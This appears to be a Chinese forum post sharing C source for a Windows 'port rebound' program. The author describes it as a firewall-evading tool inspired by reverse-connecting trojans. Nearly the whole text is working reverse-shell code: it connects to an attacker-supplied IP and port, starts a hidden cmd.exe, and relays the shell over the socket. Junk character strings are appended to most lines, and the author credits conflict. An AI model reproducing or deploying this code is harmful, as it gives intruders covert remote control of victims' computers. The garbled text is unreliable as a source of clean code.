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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 mUP!jTF  
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/* ============================== rWNe&gFM  
Rebound port in Windows NT L#a!fd  
By wind,2006/7 %`5K8eB  
===============================*/ R|)l^~x  
#include ZoJq JWsd  
#include %$o[,13=  
= )3\B  
#pragma comment(lib,"wsock32.lib") #U%HG TE0  
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void OutputShell(); ALF21e*n  
SOCKET sClient; ' #=n>  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; EMr|#}]#s  
S`  U,  
void main(int argc,char **argv) <Bn0wr8)\  
{ /t]1_  
WSADATA stWsaData; =EYgck;)  
int nRet; [75?cQD  
SOCKADDR_IN stSaiClient,stSaiServer; Yh!k uS#<  
dB#c$1  
if(argc != 3) pO)EYla9  
{ i;]0>g4  
printf("Useage:\n\rRebound DestIP DestPort\n"); MYVVI1A  
return; .3_u5N|[=W  
} j ]%XY+e  
t D 8l0  
WSAStartup(MAKEWORD(2,2),&stWsaData); xa]yq%  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  _fn7-&6  
&gT@oS{  
stSaiClient.sin_family = AF_INET; {Z <`@\K3  
stSaiClient.sin_port = htons(0); D[]0/+,  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ipGxi[Vav  
( ?(gz#-  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +U ziO#D  
{ _0^>^he  
printf("Bind Socket Failed!\n"); !+Y+P?  
return; -"H$ &p~  
} k&5T-\q  
vmNI$ KZM  
stSaiServer.sin_family = AF_INET; {0,6- dd5  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); sx7zRw >X  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); oBub]<.J  
{ )b  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #d[Nm+~ko  
{ & uwOyb  
printf("Connect Error!"); VR"le&'z"  
return; \X(*JNQ  
} SzeY?04zj:  
OutputShell(); P$y'``  
} q4!\^HwQ  
vY.VFEP/  
void OutputShell() dJrUcZBr  
{ CflyK@  
char szBuff[1024]; ^uw]/H3?L  
SECURITY_ATTRIBUTES stSecurityAttributes; bnvY2-O6  
OSVERSIONINFO stOsversionInfo; 1D [>oK\  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &CXk=Wj  
STARTUPINFO stStartupInfo; hop| xtai;  
char *szShell; XGe;v~L  
PROCESS_INFORMATION stProcessInformation; -Mrt%1g  
unsigned long lBytesRead; $Q'LDmot  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9o?\*{'KT  
pQ^V<6z}  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ct,;V/Dx  
stSecurityAttributes.lpSecurityDescriptor = 0; F}[!OYyg  
stSecurityAttributes.bInheritHandle = TRUE; B9 ?58v&  
O.y ?q  
NB^Al/V@  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); DS@Yto  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); RTg\c[=w  
S^D@8<6GJ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <?DI!~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d+]=l+&  
stStartupInfo.wShowWindow = SW_HIDE; 8[AU`F8W  
stStartupInfo.hStdInput = hReadPipe; An?#B4:  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2Rwd\e.z  
`) ],FE*:  
GetVersionEx(&stOsversionInfo); 2(\PsN w!  
6M_ W(  
switch(stOsversionInfo.dwPlatformId) q6sb;?I  
{ A{)pzV25  
case 1: y eIS}O  
szShell = "command.com"; !or_CJ8%  
break; g__s(  IJ  
default: dOaCdnd~  
szShell = "cmd.exe"; sL\ {.ad5  
break; 5"1wz  
} _e8v12s  
Hc|cA(9sh9  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )OQ<H.X  
?0sTx6x@  
send(sClient,szMsg,77,0); GCr]x '  
while(1) 5f0g7w =-  
{ #M#$2Vt  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x)$0Nr62D  
if(lBytesRead) t3^`:T\  
{ q&6|uV])H  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); R@Gll60  
send(sClient,szBuff,lBytesRead,0); H!"TS-s`  
} g$Vr9MH  
else V)5,E>;EN  
{ SE i\H$ !  
lBytesRead=recv(sClient,szBuff,1024,0); ?< yYm;B  
if(lBytesRead<=0) break; 8vR'<_>Q  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); z9 #-  
} 69:-c@ L0  
} X6w+L?A  
Y1ca=ewFx  
return; d9jD?HgM(  
}
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